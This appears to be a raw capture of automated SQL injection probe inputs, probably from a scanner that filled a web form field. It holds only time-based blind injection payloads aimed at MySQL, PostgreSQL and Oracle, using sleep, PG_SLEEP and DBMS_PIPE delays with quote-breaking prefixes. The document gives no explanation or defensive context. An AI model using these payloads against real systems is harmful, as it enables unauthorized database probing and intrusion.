Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1)) OR 326=(SELECT 326 FROM PG_SLEEP(15))--

uJ0cFqpC' OR 30=(SELECT 30 FROM PG_SLEEP(15))--

s5DDgMMW') OR 660=(SELECT 660 FROM PG_SLEEP(15))--

oyHjYtd9')) OR 817=(SELECT 817 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'